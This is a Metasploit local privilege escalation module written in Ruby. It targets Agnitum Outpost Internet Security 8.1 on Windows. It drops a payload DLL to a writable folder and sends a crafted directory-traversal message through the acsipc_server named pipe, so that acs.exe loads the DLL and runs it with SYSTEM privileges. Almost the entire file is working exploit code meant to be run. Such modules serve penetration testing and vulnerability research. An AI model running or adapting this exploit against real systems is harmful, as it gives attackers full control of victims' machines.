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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Exploit::EXE
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  include Msf::Post::File
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  include Msf::Post::Windows::Priv
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  include Msf::Post::Windows::Process
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        {
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          'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',
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          'Description' => %q{
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            This module exploits a directory traversal vulnerability on Agnitum Outpost Internet
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            Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load
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            arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary
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            code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with
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            Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).
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          },
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          'License' => MSF_LICENSE,
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          'Author' => [
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            'Ahmad Moghimi', # Vulnerability discovery
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            'juan vazquez' # MSF module
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          ],
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          'Arch' => [ARCH_X86, ARCH_X64],
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          'Platform' => 'win',
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          'SessionTypes' => [ 'meterpreter' ],
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          'Privileged' => true,
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          'Targets' => [
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            [ 'Agnitum Outpost Internet Security 8.1', {} ],
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          ],
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          'Payload' => {
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            'Space' => 2048,
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            'DisableNops' => true
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          },
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          'References' => [
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            [ 'OSVDB', '96208' ],
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            [ 'EDB', '27282' ]
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          ],
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          'DisclosureDate' => '2013-08-02',
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          'DefaultTarget' => 0,
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          'Compat' => {
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            'Meterpreter' => {
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              'Commands' => %w[
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                stdapi_railgun_api
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                stdapi_sys_config_getenv
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              ]
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            }
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          }
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        }
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      )
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    )
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    register_options([
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      # It is OptPath becuase it's a *remote* path
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      OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),
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      # By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\
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      OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])
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    ])
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  end
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  def junk
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    return rand_text_alpha(4).unpack("V").first
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  end
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  def open_named_pipe(pipe)
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    invalid_handle_value = 0xFFFFFFFF
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    r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)
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    handle = r['return']
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    if handle == invalid_handle_value
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      return nil
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    end
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    return handle
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  end
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  def write_named_pipe(handle, dll_path, dll_name)
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    traversal_path = "..\\" * datastore["DEPTH"]
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    traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")
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    traversal_path << "\\#{dll_name}"
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    path = Rex::Text.to_unicode(traversal_path)
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    data = "\x00" * 0x11
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    data << path
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    data << "\x00\x00"
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    data << "\x00\x00\x00"
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    buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler
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    buf << [0x17].pack("V") # command
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    buf << [junk].pack("V")
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    buf << [data.length].pack("V")
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    buf << [0, 0, 0].pack("V*")
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    buf << data
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    w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)
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    if w['return'] == false
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      print_error("The was an error writing to disk, check permissions")
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      return nil
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    end
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    return w['lpNumberOfBytesWritten']
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  end
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  def check
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    handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
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    if handle.nil?
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      return Exploit::CheckCode::Safe
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    end
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    session.railgun.kernel32.CloseHandle(handle)
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    return Exploit::CheckCode::Detected
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  end
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  def exploit
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    temp_dir = ""
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    print_status("Opening named pipe...")
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    handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
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    if handle.nil?
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      fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")
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    else
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      print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")
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    end
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    if datastore["WritableDir"] and not datastore["WritableDir"].empty?
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      temp_dir = datastore["WritableDir"]
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    else
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      temp_dir = client.sys.config.getenv('TEMP')
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    end
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    print_status("Using #{temp_dir} to drop malicious DLL...")
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    begin
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      cd(temp_dir)
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    rescue Rex::Post::Meterpreter::RequestError
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      session.railgun.kernel32.CloseHandle(handle)
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      fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
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    end
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    print_status("Writing malicious DLL to remote filesystem")
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    write_path = pwd
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    dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"
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    begin
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      # Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem
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      write_file(dll_name, generate_payload_dll)
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      register_file_for_cleanup("#{write_path}\\#{dll_name}")
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    rescue Rex::Post::Meterpreter::RequestError
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      session.railgun.kernel32.CloseHandle(handle)
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      fail_with(Failure::BadConfig, "Failed to drop payload into #{temp_dir}")
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    end
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    print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")
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    bytes = write_named_pipe(handle, write_path, dll_name)
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    session.railgun.kernel32.CloseHandle(handle)
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    if bytes.nil?
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      fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")
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    end
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  end
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end
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